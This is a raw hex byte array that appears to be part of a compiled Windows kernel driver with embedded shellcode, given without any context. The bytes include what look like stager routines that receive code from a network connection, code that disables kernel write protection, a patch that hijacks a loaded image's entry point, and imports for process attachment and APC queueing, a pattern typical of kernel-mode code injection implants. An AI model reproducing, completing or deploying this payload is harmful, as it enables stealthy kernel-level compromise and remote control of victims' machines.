0x61,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,
0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,
0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x10,0x00,0x00,0xc8,0x00,0x00,0x00,0x27,0x30,0x2e,0x30,0x34,0x30,0x3b,0x30,
0x4d,0x30,0x54,0x30,0x66,0x30,0x73,0x30,0x85,0x30,0x97,0x30,0x9e,0x30,0xba,0x30,
0xd5,0x30,0xdc,0x30,0xee,0x30,0x03,0x31,0x0d,0x31,0x2b,0x31,0x38,0x31,0x40,0x31,
0x46,0x31,0x4d,0x31,0x66,0x31,0x6e,0x31,0x74,0x31,0x7b,0x31,0x88,0x31,0x8f,0x31,
0x9e,0x31,0xa4,0x31,0xb6,0x31,0xbd,0x31,0xca,0x31,0xd1,0x31,0xef,0x31,0xf4,0x31,
0x7e,0x32,0x85,0x32,0x95,0x32,0xa0,0x32,0xae,0x32,0xb5,0x32,0xe3,0x32,0x00,0x33,
0x0a,0x33,0x17,0x33,0x2b,0x33,0x31,0x33,0x3b,0x33,0x63,0x33,0x68,0x33,0x70,0x33,
0x78,0x33,0x83,0x33,0xc4,0x33,0xca,0x33,0xcf,0x33,0xd7,0x33,0xec,0x33,0xf1,0x33,
0x05,0x34,0x0a,0x34,0x2a,0x34,0x56,0x34,0x86,0x34,0x8c,0x34,0x9b,0x34,0xa3,0x34,
0xc0,0x34,0xc9,0x34,0xd0,0x34,0xe2,0x34,0xe8,0x34,0xee,0x34,0xf4,0x34,0xfa,0x34,
0x00,0x35,0x06,0x35,0x0c,0x35,0x12,0x35,0x18,0x35,0x1e,0x35,0x24,0x35,0x2a,0x35,
0x30,0x35,0x36,0x35,0x3c,0x35,0x42,0x35,0x48,0x35,0x4e,0x35,0x54,0x35,0x5a,0x35,
0x60,0x35,0x66,0x35,0x6c,0x35,0x72,0x35,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x55,0x8b,0xec,0x83,0xec,0x10,0x8b,0x45,0x08,0x50,0xe8,0xd1,0xe1,0xff,0xff,0xc7,
0x45,0xf8,0x00,0x16,0x00,0x00,0x8b,0x4d,0xf8,0x51,0x6a,0x00,0xff,0x15,0xe0,0x02,
0x00,0x10,0x89,0x45,0xfc,0x83,0x7d,0xfc,0x00,0x74,0x4a,0x68,0x00,0x16,0x00,0x00,
0x68,0x60,0x39,0x00,0x10,0x8b,0x55,0xfc,0x52,0xe8,0x80,0xdc,0xff,0xff,0x83,0xc4,
0x0c,0x8b,0x45,0x08,0x50,0x68,0x14,0x2e,0x00,0x10,0xe8,0x51,0xd6,0xff,0xff,0x89,
0x45,0xf0,0x8b,0x4d,0x08,0x51,0x68,0x10,0x2e,0x00,0x10,0xe8,0x40,0xd6,0xff,0xff,
0x89,0x45,0xf4,0x8b,0x55,0xf0,0x8b,0x45,0xf8,0x89,0x02,0x8b,0x4d,0xf4,0x8b,0x55,
0xfc,0x89,0x11,0xeb,0x0d,0x68,0xec,0x09,0x00,0x10,0xe8,0x03,0xdc,0xff,0xff,0x83,
0xc4,0x04,0x8b,0xe5,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x6a,0x01,0xff,0x15,0x00,0x03,0x00,0x10,0x0f,0x20,0xc0,0x25,0xff,
0xff,0xfe,0xff,0x0f,0x22,0xc0,0x5d,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x0f,0x20,0xc0,0x0d,0x00,0x00,0x01,0x00,0x0f,0x22,0xc0,0x5d,0xc3,
0x55,0x8b,0xec,0x83,0xec,0x14,0xe8,0xc5,0xff,0xff,0xff,0x6a,0x06,0x68,0xf4,0x2d,
0x00,0x10,0xa1,0x0c,0x2e,0x00,0x10,0x50,0xe8,0xe1,0xdb,0xff,0xff,0x83,0xc4,0x0c,
0xe8,0xcb,0xff,0xff,0xff,0x8b,0x4d,0x0c,0x51,0x8b,0x55,0x08,0x52,0xff,0x15,0x0c,
0x2e,0x00,0x10,0x89,0x45,0xfc,0x8b,0x45,0xfc,0x50,0x68,0x04,0x0a,0x00,0x10,0xe8,
0x7e,0xdb,0xff,0xff,0x83,0xc4,0x08,0x68,0x00,0x54,0x00,0x10,0xff,0x15,0x04,0x03,
0x00,0x10,0x85,0xc0,0x75,0x07,0xc6,0x05,0xfa,0x2d,0x00,0x10,0x01,0x83,0x7d,0xfc,
0x00,0x0f,0x8c,0x1c,0x01,0x00,0x00,0x8b,0x0d,0xfc,0x2d,0x00,0x10,0x51,0x6a,0x00,
0xff,0x15,0xe0,0x02,0x00,0x10,0x89,0x45,0xf8,0x83,0x7d,0xf8,0x00,0x0f,0x84,0xf6,
0x00,0x00,0x00,0x8b,0x15,0xfc,0x2d,0x00,0x10,0x52,0xa1,0x1c,0x2e,0x00,0x10,0x50,
0x8b,0x4d,0xf8,0x51,0xe8,0x65,0xdb,0xff,0xff,0x83,0xc4,0x0c,0x8b,0x15,0x08,0x2e,
0x00,0x10,0x2b,0x15,0x00,0x2e,0x00,0x10,0x52,0x8b,0x45,0xf8,0x50,0xe8,0x4e,0xd8,
0xff,0xff,0xe8,0x19,0xff,0xff,0xff,0x8b,0x0d,0x04,0x2e,0x00,0x10,0x51,0x8b,0x55,
0xf8,0x03,0x15,0x00,0x2e,0x00,0x10,0x52,0xa1,0x08,0x2e,0x00,0x10,0x50,0xe8,0x2b,
0xdb,0xff,0xff,0x83,0xc4,0x0c,0xe8,0x15,0xff,0xff,0xff,0x8b,0x0d,0x08,0x2e,0x00,
0x10,0x2b,0x0d,0x00,0x2e,0x00,0x10,0x89,0x4d,0xf0,0x8b,0x55,0xf0,0x52,0xe8,0x4d,
0xfe,0xff,0xff,0x8b,0x45,0xf0,0x50,0x68,0x90,0x25,0x00,0x10,0xe8,0xdf,0xd4,0xff,
0xff,0x89,0x45,0xf4,0x8b,0x4d,0xf4,0x51,0x68,0x34,0x0a,0x00,0x10,0xe8,0xb0,0xda,
0xff,0xff,0x83,0xc4,0x08,0xc7,0x45,0xec,0x00,0x00,0x00,0x00,0x0f,0xb6,0x15,0xfa,
0x2d,0x00,0x10,0xf7,0xda,0x1b,0xd2,0x23,0x15,0x1c,0x2e,0x00,0x10,0x52,0x8b,0x45,
0xf4,0x50,0x6a,0x00,0x6a,0x00,0x6a,0x00,0x68,0xff,0xff,0x1f,0x00,0x8d,0x4d,0xec,
0x51,0xff,0x15,0xf4,0x02,0x00,0x10,0x89,0x45,0xfc,0x83,0x7d,0xfc,0x00,0x7c,0x0c,
0x8b,0x55,0xec,0x52,0xff,0x15,0xb4,0x02,0x00,0x10,0xeb,0x11,0x8b,0x45,0xfc,0x50,
0x68,0x60,0x0a,0x00,0x10,0xe8,0x58,0xda,0xff,0xff,0x83,0xc4,0x08,0x6a,0x00,0x8b,
0x4d,0xf8,0x51,0xff,0x15,0x90,0x02,0x00,0x10,0x8b,0x55,0x08,0xc7,0x42,0x34,0x00,
0x00,0x00,0x00,0x8b,0x45,0xfc,0x8b,0xe5,0x5d,0xc2,0x08,0x00,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x08,0x8b,0x45,0x08,0x8b,0x4d,0x08,0x03,0x48,0x3c,0x89,
0x4d,0xfc,0x8b,0x55,0xfc,0x8b,0x45,0x08,0x03,0x42,0x28,0x89,0x45,0xf8,0x6a,0x06,
0x8b,0x4d,0xf8,0x51,0x68,0xf4,0x2d,0x00,0x10,0xe8,0x40,0xda,0xff,0xff,0x83,0xc4,
0x0c,0x8b,0x55,0xf8,0x89,0x15,0x0c,0x2e,0x00,0x10,0xe8,0x01,0xfe,0xff,0xff,0x8b,
0x45,0xf8,0xc6,0x00,0x68,0x8b,0x4d,0xf8,0xc7,0x41,0x01,0x20,0x50,0x00,0x10,0x8b,
0x55,0xf8,0xc6,0x42,0x05,0xc3,0xe8,0x05,0xfe,0xff,0xff,0x68,0x20,0x50,0x00,0x10,
0x8b,0x45,0xf8,0x50,0x68,0x88,0x0a,0x00,0x10,0xe8,0xc4,0xd9,0xff,0xff,0x83,0xc4,
0x0c,0x8b,0xe5,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x30,0x8b,0x45,0x0c,0xc7,0x00,0x00,0x00,0x00,0x00,0x8b,
0x4d,0x10,0xc7,0x01,0x00,0x00,0x00,0x00,0x8b,0x55,0x08,0x8b,0x45,0x08,0x03,0x42,
0x3c,0x89,0x45,0xf8,0x8b,0x4d,0xf8,0x0f,0xb7,0x51,0x14,0x8b,0x45,0xf8,0x8d,0x4c,
0x10,0x18,0x89,0x4d,0xf0,0xc7,0x45,0xfc,0x00,0x00,0x00,0x00,0xc7,0x45,0xf4,0x00,
0x00,0x00,0x00,0xc7,0x45,0xec,0x00,0x00,0x00,0x00,0xeb,0x09,0x8b,0x55,0xec,0x83,
0xc2,0x01,0x89,0x55,0xec,0x8b,0x45,0xf8,0x0f,0xb7,0x48,0x06,0x39,0x4d,0xec,0x0f,
0x83,0xdc,0x00,0x00,0x00,0x8b,0x55,0xf0,0x8b,0x45,0x08,0x03,0x42,0x0c,0x89,0x45,
0xdc,0x8b,0x4d,0xf0,0x8b,0x51,0x24,0x81,0xe2,0x00,0x00,0x00,0x02,0x0f,0x84,0xb0,
0x00,0x00,0x00,0x68,0xc8,0x0a,0x00,0x10,0x8d,0x45,0xe0,0x50,0xe8,0x0f,0xe0,0xff,
0xff,0x85,0xc0,0x0f,0x84,0x9a,0x00,0x00,0x00,0x83,0x7d,0xfc,0x00,0x74,0x4f,0x8b,
0x4d,0xfc,0x03,0x4d,0xf4,0x8b,0x55,0xf0,0x39,0x4a,0x0c,0x75,0x41,0x8b,0x45,0xf8,
0x8b,0x48,0x38,0x83,0xe9,0x01,0x8b,0x55,0xf0,0x23,0x4a,0x08,0x74,0x1c,0x8b,0x45,
0xf8,0x8b,0x48,0x38,0x83,0xe9,0x01,0xf7,0xd1,0x8b,0x55,0xf0,0x23,0x4a,0x08,0x8b,
0x45,0xf8,0x03,0x48,0x38,0x89,0x4d,0xd4,0xeb,0x09,0x8b,0x4d,0xf0,0x8b,0x51,0x08,
0x89,0x55,0xd4,0x8b,0x45,0xf4,0x03,0x45,0xd4,0x89,0x45,0xf4,0xeb,0x45,0x8b,0x4d,
0xf0,0x8b,0x51,0x0c,0x89,0x55,0xfc,0x8b,0x45,0xf8,0x8b,0x48,0x38,0x83,0xe9,0x01,
0x8b,0x55,0xf0,0x23,0x4a,0x08,0x74,0x1c,0x8b,0x45,0xf8,0x8b,0x48,0x38,0x83,0xe9,
0x01,0xf7,0xd1,0x8b,0x55,0xf0,0x23,0x4a,0x08,0x8b,0x45,0xf8,0x03,0x48,0x38,0x89,
0x4d,0xd0,0xeb,0x09,0x8b,0x4d,0xf0,0x8b,0x51,0x08,0x89,0x55,0xd0,0x8b,0x45,0xd0,
0x89,0x45,0xf4,0x8b,0x4d,0xf0,0x83,0xc1,0x28,0x89,0x4d,0xf0,0xe9,0x0b,0xff,0xff,
0xff,0x8b,0x55,0xf4,0x3b,0x15,0x04,0x2e,0x00,0x10,0x72,0x75,0x8b,0x45,0xfc,0x50,
0x8b,0x4d,0xf4,0x51,0x68,0xd0,0x0a,0x00,0x10,0xe8,0x54,0xd8,0xff,0xff,0x83,0xc4,
0x0c,0x8b,0x55,0x0c,0x8b,0x45,0xfc,0x89,0x02,0x8b,0x4d,0x10,0x8b,0x55,0xf4,0x89,
0x11,0x8b,0x45,0xf8,0x0f,0xb7,0x48,0x14,0x8b,0x55,0xf8,0x8d,0x44,0x0a,0x18,0x89,
0x45,0xf0,0xc7,0x45,0xd8,0x00,0x00,0x00,0x00,0xeb,0x09,0x8b,0x4d,0xd8,0x83,0xc1,
0x01,0x89,0x4d,0xd8,0x8b,0x55,0xf8,0x0f,0xb7,0x42,0x06,0x39,0x45,0xd8,0x73,0x1d,
0x8b,0x4d,0xf0,0x8b,0x51,0x24,0x81,0xe2,0xff,0xff,0xff,0xfd,0x8b,0x45,0xf0,0x89,
0x50,0x24,0x8b,0x4d,0xf0,0x83,0xc1,0x28,0x89,0x4d,0xf0,0xeb,0xce,0xb0,0x01,0xeb,
0x02,0x32,0xc0,0x8b,0xe5,0x5d,0xc2,0x0c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x20,0x83,0x3d,0x08,0x2e,0x00,0x10,0x00,0x74,0x05,0xe9,
0xd7,0x00,0x00,0x00,0x83,0x7d,0x0c,0x00,0x0f,0x85,0xcd,0x00,0x00,0x00,0x8b,0x45,
0x10,0x8b,0x08,0xc1,0xe9,0x08,0x83,0xe1,0x01,0x0f,0x84,0xbc,0x00,0x00,0x00,0xc6,
0x45,0xff,0x00,0x8b,0x55,0x10,0x8b,0x42,0x04,0x89,0x45,0xf4,0x8b,0x4d,0x10,0x8b,
0x51,0x0c,0x89,0x55,0xf8,0x8b,0x45,0xf8,0x50,0x8b,0x4d,0xf4,0x51,0x8b,0x55,0x08,
0x52,0x68,0x90,0x0b,0x00,0x10,0xe8,0x87,0xd7,0xff,0xff,0x83,0xc4,0x10,0xc7,0x45,
0xf0,0x00,0x00,0x00,0x00,0xeb,0x09,0x8b,0x45,0xf0,0x83,0xc0,0x01,0x89,0x45,0xf0,
0x83,0x7d,0xf0,0x07,0x73,0x33,0x8b,0x4d,0xf0,0x8b,0x14,0x8d,0xa4,0x2d,0x00,0x10,
0x52,0x8d,0x45,0xe8,0x50,0xff,0x15,0x20,0x03,0x00,0x10,0x6a,0x01,0x8d,0x4d,0xe8,
0x51,0x8b,0x55,0x08,0x52,0xe8,0x86,0xdf,0xff,0xff,0x0f,0xb6,0xc0,0x85,0xc0,0x74,
0x06,0xc6,0x45,0xff,0x01,0xeb,0x02,0xeb,0xbe,0x0f,0xb6,0x4d,0xff,0x85,0xc9,0x74,
0x3a,0xc7,0x45,0xe4,0x00,0x00,0x00,0x00,0xc7,0x45,0xe0,0x00,0x00,0x00,0x00,0x8d,
0x55,0xe0,0x52,0x8d,0x45,0xe4,0x50,0x8b,0x4d,0xf4,0x51,0xe8,0x60,0xfd,0xff,0xff,
0x0f,0xb6,0xd0,0x85,0xd2,0x74,0x14,0x8b,0x45,0xf4,0x03,0x45,0xe4,0xa3,0x08,0x2e,
0x00,0x10,0x8b,0x4d,0xf4,0x51,0xe8,0xc5,0xfc,0xff,0xff,0x8b,0xe5,0x5d,0xc2,0x0c,
0x00,0x00,0x00,0x00,0x40,0x55,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x1e,0x59,0x00,0x00,0x90,0x02,0x00,0x00,0x30,0x55,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x70,0x59,0x00,0x00,0x80,0x02,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x44,0x59,0x00,0x00,0x2c,0x59,0x00,0x00,0x5e,0x59,0x00,0x00,0x00,0x00,0x00,0x00,
0x1c,0x56,0x00,0x00,0x30,0x56,0x00,0x00,0x48,0x56,0x00,0x00,0x66,0x56,0x00,0x00,
0x82,0x56,0x00,0x00,0x9a,0x56,0x00,0x00,0xb0,0x56,0x00,0x00,0xba,0x56,0x00,0x00,
0xd4,0x56,0x00,0x00,0xe8,0x56,0x00,0x00,0xf2,0x56,0x00,0x00,0x0c,0x57,0x00,0x00,
0x26,0x57,0x00,0x00,0x3e,0x57,0x00,0x00,0x52,0x57,0x00,0x00,0x64,0x57,0x00,0x00,
0x7c,0x57,0x00,0x00,0x0e,0x56,0x00,0x00,0xb0,0x57,0x00,0x00,0xc4,0x57,0x00,0x00,
0xd4,0x57,0x00,0x00,0xe6,0x57,0x00,0x00,0x06,0x58,0x00,0x00,0x1a,0x58,0x00,0x00,
0x24,0x58,0x00,0x00,0x2e,0x58,0x00,0x00,0x46,0x58,0x00,0x00,0x50,0x58,0x00,0x00,
0x5a,0x58,0x00,0x00,0x76,0x58,0x00,0x00,0x98,0x58,0x00,0x00,0xb6,0x58,0x00,0x00,
0xd2,0x58,0x00,0x00,0xea,0x58,0x00,0x00,0x0a,0x59,0x00,0x00,0x04,0x56,0x00,0x00,
0xec,0x55,0x00,0x00,0x98,0x57,0x00,0x00,0xe0,0x55,0x00,0x00,0x00,0x00,0x00,0x00,
0x3c,0x00,0x44,0x62,0x67,0x50,0x72,0x69,0x6e,0x74,0x00,0x00,0x5f,0x05,0x52,0x74,
0x6c,0x49,0x6e,0x69,0x74,0x55,0x6e,0x69,0x63,0x6f,0x64,0x65,0x53,0x74,0x72,0x69,
0x6e,0x67,0x00,0x00,0x80,0x07,0x6d,0x65,0x6d,0x73,0x65,0x74,0x00,0x00,0x2a,0x03,
0x4b,0x65,0x53,0x65,0x74,0x45,0x76,0x65,0x6e,0x74,0x00,0x00,0x85,0x00,0x45,0x78,
0x46,0x72,0x65,0x65,0x50,0x6f,0x6f,0x6c,0x57,0x69,0x74,0x68,0x54,0x61,0x67,0x00,
0x41,0x04,0x4f,0x62,0x66,0x44,0x65,0x72,0x65,0x66,0x65,0x72,0x65,0x6e,0x63,0x65,
0x4f,0x62,0x6a,0x65,0x63,0x74,0x00,0x00,0xa6,0x04,0x50,0x73,0x4c,0x6f,0x6f,0x6b,
0x75,0x70,0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x42,0x79,0x50,0x72,0x6f,0x63,0x65,
0x73,0x73,0x49,0x64,0x00,0x00,0xa8,0x04,0x50,0x73,0x4c,0x6f,0x6f,0x6b,0x75,0x70,
0x54,0x68,0x72,0x65,0x61,0x64,0x42,0x79,0x54,0x68,0x72,0x65,0x61,0x64,0x49,0x64,
0x00,0x00,0x25,0x05,0x52,0x74,0x6c,0x45,0x71,0x75,0x61,0x6c,0x55,0x6e,0x69,0x63,
0x6f,0x64,0x65,0x53,0x74,0x72,0x69,0x6e,0x67,0x00,0xd2,0x06,0x5a,0x77,0x46,0x72,
0x65,0x65,0x56,0x69,0x72,0x74,0x75,0x61,0x6c,0x4d,0x65,0x6d,0x6f,0x72,0x79,0x00,
0x7e,0x07,0x6d,0x65,0x6d,0x63,0x70,0x79,0x00,0x00,0x98,0x06,0x5a,0x77,0x41,0x6c,
0x6c,0x6f,0x63,0x61,0x74,0x65,0x56,0x69,0x72,0x74,0x75,0x61,0x6c,0x4d,0x65,0x6d,
0x6f,0x72,0x79,0x00,0x58,0x07,0x5f,0x65,0x78,0x63,0x65,0x70,0x74,0x5f,0x68,0x61,
0x6e,0x64,0x6c,0x65,0x72,0x33,0x00,0x00,0xad,0x06,0x5a,0x77,0x43,0x6c,0x6f,0x73,
0x65,0x00,0x42,0x03,0x4b,0x65,0x55,0x6e,0x73,0x74,0x61,0x63,0x6b,0x44,0x65,0x74,
0x61,0x63,0x68,0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x00,0x00,0xb7,0x02,0x4b,0x65,
0x44,0x65,0x6c,0x61,0x79,0x45,0x78,0x65,0x63,0x75,0x74,0x69,0x6f,0x6e,0x54,0x68,
0x72,0x65,0x61,0x64,0x00,0x00,0x48,0x03,0x4b,0x65,0x57,0x61,0x69,0x74,0x46,0x6f,
0x72,0x53,0x69,0x6e,0x67,0x6c,0x65,0x4f,0x62,0x6a,0x65,0x63,0x74,0x00,0xe8,0x02,
0x4b,0x65,0x49,0x6e,0x73,0x65,0x72,0x74,0x51,0x75,0x65,0x75,0x65,0x41,0x70,0x63,
0x00,0x00,0xd5,0x02,0x4b,0x65,0x49,0x6e,0x69,0x74,0x69,0x61,0x6c,0x69,0x7a,0x65,
0x41,0x70,0x63,0x00,0x39,0x03,0x4b,0x65,0x53,0x74,0x61,0x63,0x6b,0x41,0x74,0x74,
0x61,0x63,0x68,0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x00,0x00,0x05,0x07,0x5a,0x77,
0x51,0x75,0x65,0x72,0x79,0x49,0x6e,0x66,0x6f,0x72,0x6d,0x61,0x74,0x69,0x6f,0x6e,
0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x00,0x34,0x04,0x4f,0x62,0x4f,0x70,0x65,0x6e,
0x4f,0x62,0x6a,0x65,0x63,0x74,0x42,0x79,0x50,0x6f,0x69,0x6e,0x74,0x65,0x72,0x00,
0xd9,0x02,0x4b,0x65,0x49,0x6e,0x69,0x74,0x69,0x61,0x6c,0x69,0x7a,0x65,0x45,0x76,
0x65,0x6e,0x74,0x00,0x54,0x05,0x52,0x74,0x6c,0x47,0x65,0x74,0x56,0x65,0x72,0x73,
0x69,0x6f,0x6e,0x00,0x6a,0x00,0x45,0x78,0x41,0x6c,0x6c,0x6f,0x63,0x61,0x74,0x65,
0x50,0x6f,0x6f,0x6c,0x00,0x00,0x9b,0x03,0x4d,0x6d,0x4d,0x61,0x70,0x4c,0x6f,0x63,
0x6b,0x65,0x64,0x50,0x61,0x67,0x65,0x73,0x53,0x70,0x65,0x63,0x69,0x66,0x79,0x43,
0x61,0x63,0x68,0x65,0x00,0x00,0xef,0x04,0x52,0x74,0x6c,0x43,0x6f,0x6d,0x70,0x61,
0x72,0x65,0x4d,0x65,0x6d,0x6f,0x72,0x79,0x00,0x00,0x88,0x07,0x73,0x74,0x72,0x63,
0x6d,0x70,0x00,0x00,0x84,0x07,0x73,0x70,0x72,0x69,0x6e,0x74,0x66,0x00,0x69,0x04,
0x50,0x73,0x43,0x72,0x65,0x61,0x74,0x65,0x53,0x79,0x73,0x74,0x65,0x6d,0x54,0x68,
0x72,0x65,0x61,0x64,0x00,0x00,0x8a,0x07,0x73,0x74,0x72,0x6c,0x65,0x6e,0x00,0x00,
0x89,0x07,0x73,0x74,0x72,0x63,0x70,0x79,0x00,0x00,0x31,0x03,0x4b,0x65,0x53,0x65,
0x74,0x53,0x79,0x73,0x74,0x65,0x6d,0x41,0x66,0x66,0x69,0x6e,0x69,0x74,0x79,0x54,
0x68,0x72,0x65,0x61,0x64,0x00,0xb0,0x04,0x50,0x73,0x52,0x65,0x6d,0x6f,0x76,0x65,
0x4c,0x6f,0x61,0x64,0x49,0x6d,0x61,0x67,0x65,0x4e,0x6f,0x74,0x69,0x66,0x79,0x52,
0x6f,0x75,0x74,0x69,0x6e,0x65,0x00,0x00,0xbf,0x04,0x50,0x73,0x53,0x65,0x74,0x4c,
0x6f,0x61,0x64,0x49,0x6d,0x61,0x67,0x65,0x4e,0x6f,0x74,0x69,0x66,0x79,0x52,0x6f,
0x75,0x74,0x69,0x6e,0x65,0x00,0x12,0x07,0x5a,0x77,0x51,0x75,0x65,0x72,0x79,0x53,
0x79,0x73,0x74,0x65,0x6d,0x49,0x6e,0x66,0x6f,0x72,0x6d,0x61,0x74,0x69,0x6f,0x6e,
0x00,0x00,0x40,0x05,0x52,0x74,0x6c,0x46,0x72,0x65,0x65,0x55,0x6e,0x69,0x63,0x6f,
0x64,0x65,0x53,0x74,0x72,0x69,0x6e,0x67,0x00,0x00,0xdb,0x04,0x52,0x74,0x6c,0x41,
0x6e,0x73,0x69,0x53,0x74,0x72,0x69,0x6e,0x67,0x54,0x6f,0x55,0x6e,0x69,0x63,0x6f,
0x64,0x65,0x53,0x74,0x72,0x69,0x6e,0x67,0x00,0x00,0x5b,0x05,0x52,0x74,0x6c,0x49,
0x6e,0x69,0x74,0x41,0x6e,0x73,0x69,0x53,0x74,0x72,0x69,0x6e,0x67,0x00,0x6e,0x74,
0x6f,0x73,0x6b,0x72,0x6e,0x6c,0x2e,0x65,0x78,0x65,0x00,0x00,0x80,0x01,0x4e,0x64,
0x69,0x73,0x52,0x65,0x67,0x69,0x73,0x74,0x65,0x72,0x50,0x72,0x6f,0x74,0x6f,0x63,
0x6f,0x6c,0x00,0x00,0x69,0x00,0x4e,0x64,0x69,0x73,0x44,0x65,0x72,0x65,0x67,0x69,
0x73,0x74,0x65,0x72,0x50,0x72,0x6f,0x74,0x6f,0x63,0x6f,0x6c,0x00,0x00,0xb8,0x00,
0x4e,0x64,0x69,0x73,0x47,0x65,0x74,0x56,0x65,0x72,0x73,0x69,0x6f,0x6e,0x00,0x00,
0x4e,0x44,0x49,0x53,0x2e,0x53,0x59,0x53,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0xa4,0x3e,0xa8,0x3e,0x00,0x10,0x00,0x00,
0xf8,0x00,0x00,0x00,0x48,0x30,0x50,0x30,0x7b,0x30,0x82,0x30,0x89,0x30,0x90,0x30,
0x97,0x30,0x9e,0x30,0xa5,0x30,0xac,0x30,0xb3,0x30,0xba,0x30,0xc1,0x30,0xc8,0x30,
0xcf,0x30,0xd6,0x30,0xdd,0x30,0xe2,0x30,0xec,0x30,0x03,0x31,0x0d,0x31,0x1c,0x31,
0x2d,0x31,0x46,0x31,0x55,0x31,0x60,0x31,0x66,0x31,0x8f,0x31,0xab,0x31,0x52,0x33,
